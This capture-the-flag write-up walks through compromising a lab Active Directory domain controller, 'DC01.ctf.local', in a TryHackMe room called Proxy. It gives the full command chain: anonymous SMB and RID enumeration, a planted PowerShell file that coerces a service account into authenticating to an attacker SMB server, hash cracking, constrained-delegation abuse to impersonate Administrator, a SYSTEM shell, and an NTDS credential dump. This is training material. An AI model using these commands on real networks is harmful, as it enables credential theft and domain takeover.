> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/tryhackme/2026/proxy.md). # Proxy {% embed url="" %} The following post by 0xb0b is licensed under [CC BY 4.0](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1) *** ## Scenario Every request has to go through someone... but what if that someone is you? Route your way through an Active Directory environment, intercept what you shouldn't, and pull the strings from behind the proxy. Nothing gets through without your say. ## Summary
Summary In Proxy we assess an Active Directory environment where a service account processes files dropped into a shared folder. With only VPN access and no credentials, we enumerate the domain controller `DC01.ctf.local` and find anonymous SMB access to a writeable share `IT-Shared`. Files on the share reveal that `svc.scanner` polls the directory every two minutes, parsing metadata and icons of new files. We plant a coercion file pointing to our SMB server, capture the NTLMv2 hash of `svc.scanner`, and crack it offline with `hashcat`. BloodHound shows `svc.scanner` has constrained delegation with protocol transition over `cifs/DC01.ctf.local`. We abuse this via S4U2Self + S4U2Proxy to impersonate `Administrator`, authenticate to the DC with the resulting Kerberos ticket, and land a SYSTEM shell. We retrieve the final flag and dump NTDS via `secretsdump.py`.
## Recon We use `rustscan -b 500 -a 10.112.149.68 --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`. A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability. {% code overflow="wrap" expandable="true" %} ``` rustscan -b 500 -a 10.112.149.68 --top -- -sC -sV -Pn ``` {% endcode %}
The target `10.112.149.68` is a Windows-based Domain Controller (`DC01.ctf.local`). DNS is exposed on port `53`(Simple DNS Plus) and Kerberos on ports `88` and `464` (kpasswd), confirming the host's role as an Active Directory DC for the domain `ctf.local`. LDAP and LDAPS services are available on ports `389`, `636`, `3268`, and `3269`. SMB is exposed via ports `139` and `445` with message signing enabled and required. Remote management and access are available through RDP on port `3389` (NetBIOS\_Computer\_Name: `DC01`, Product\_Version: `10.0.17763` — Windows Server 2019). The host also exposes a .NET Message Framing service on port `9389` (AD Web Services), RPC over HTTP on ports `593` and `49670`, and several MSRPC endpoints on ports `135`, `49668`, `49671`, `49672`, and `49697`. No web (HTTP/HTTPS) or WinRM services were detected on the scanned ports.
We try to authenticate anonymously and via guest to SMB via Netexec and are successful. We are able to enumerate one readable and writeable share called IT-Shared. {% code overflow="wrap" expandable="true" %} ``` nxc smb 10.112.149.68 -u 'guest' -p '' --shares ``` {% endcode %}
We will also perfom an RID brute force to enumerate a batch of users for possible later use. {% code overflow="wrap" expandable="true" %} ``` nxc smb 10.112.149.68 -u 'guest' -p '' --rid ``` {% endcode %}
{% code title="users.txt" overflow="wrap" expandable="true" %} ``` guest Administrator krbtgt DC01$ svc.scanner svc.mssql helpdesk.bob it.admin ``` {% endcode %} Furthermore we will generate an `/etc/hosts` entry. {% code overflow="wrap" expandable="true" %} ``` nxc smb 10.112.149.68 -u 'guest' -p '' --generate-hosts-file hosts ``` {% endcode %}
{% code overflow="wrap" expandable="true" %} ``` 10.112.149.68 DC01.ctf.local ctf.local DC01 ``` {% endcode %} We connect to the share and have three files available. We download all of them. {% code overflow="wrap" expandable="true" %} ``` smbclient.py guest:''@DC01.ctf.local ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ``` use IT-Shared ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ``` mget * ``` {% endcode %}
The IT-Credentials-Backup.txt holds two credential pairs. {% code overflow="wrap" expandable="true" %} ``` IT-Credentials-Backup.txt ``` {% endcode %}
Furhermore we can deduce from the IT-Onboarding-Checklist.txt that the svc.scanner runs every 2 minutes. It enumerates IT-Shared for new files to process. Maybe some NTLM-Theft is possible. It especially focusses on metadata and icons. {% code overflow="wrap" expandable="true" %} ``` IT-Onboarding-Checklist.txt ``` {% endcode %}
We test the found credentials but we are only able to authenticate as Guest. {% code overflow="wrap" expandable="true" %} ``` nxc smb DC01.ctf.local -u users.txt -p 'REDACTED' | grep '[+]' ``` {% endcode %}
## Access as svc.scanner First we try some payloads from ntlm\_thef.py, but without success. {% embed url="" %} {% code overflow="wrap" expandable="true" %} ``` ntlm_theft.py --generate modern --server 192.168.135.32 --filename 'note' ``` {% endcode %}
We run an smbserver instead of responder. {% code overflow="wrap" expandable="true" %} ``` smbserver.py -smb2support EXEGOL $(pwd) ``` {% endcode %}
And prepare a test.ps1 file that connects to our share. {% code title="test.ps1" overflow="wrap" lineNumbers="true" expandable="true" %} ```powershell Test-Path \\192.168.135.32\icons\icon.ico ``` {% endcode %} We connect to the share again and place the powershell script. {% code overflow="wrap" expandable="true" %} ``` smbclient.py guest:''@DC01.ctf.local ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ``` use IT-Shared ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ``` put test.ps1 ``` {% endcode %}
After a short duartion we get a NTLMv2 hash.
Fortunately we are able to crack it {% code overflow="wrap" expandable="true" %} ``` hashcat -a0 -m5600 hash.txt /usr/share/wordlists/rockyou.txt --show ``` {% endcode %}
We test the credentials using NetExec and are successful. {% code overflow="wrap" expandable="true" %} ``` nxc smb DC01.ctf.local -u 'svc.scanner' -p 'REDACTED' --shares ``` {% endcode %}
## Bloodhound Enumeration With domain credentials gathered we try to enumerate the domain using BloodHound. {% code overflow="wrap" expandable="true" %} ``` bloodhound-ce.py --zip -c All -d ctf.local -u 'svc.scanner' -p 'REDACTED' -dc DC01.ctf.local -ns 10.113.177.127 ``` {% endcode %}
Here we can see that svc.scanner has AllowedToDelegate permission to the DC machine. We can abuse this trust to request a service ticket on behalf of the Administrator and authenticate to the DC in their context
## Shell as Administrator We request the Administrator service ticket as follows. {% code overflow="wrap" expandable="true" %} ``` getST.py ctf.local/svc.scanner:'REDACTED' -spn cifs/DC01.ctf.local -impersonate Administrator -dc-ip DC01.ctf.local ``` {% endcode %}
We export the `KRB5CCNAME` environment variable to point Impacket at the newly obtained `.ccache` file, so subsequent tools authenticate using the Administrator's Kerberos ticket instead of a password. {% code overflow="wrap" expandable="true" %} ``` export KRB5CCNAME=Administrator@cifs_DC01.ctf.local@CTF.LOCAL.ccache ``` {% endcode %}
Using the cached ticket we use `smbexec.py` to authenticat to `DC01` over SMB with Kerberos `-k -no-pass` as the Administrator and spawns a semi-interactive SYSTEM shell on the Domain Controller. We find the flag at the Desktop of the Administrator. {% code overflow="wrap" expandable="true" %} ``` smbexec.py -k -no-pass ctf.local/Administrator@DC01.ctf.local ``` {% endcode %}
Finally, we'll run a DCSync.. {% code overflow="wrap" expandable="true" %} ``` secretsdump.py -k -no-pass ctf.local/Administrator@DC01.ctf.local ``` {% endcode %}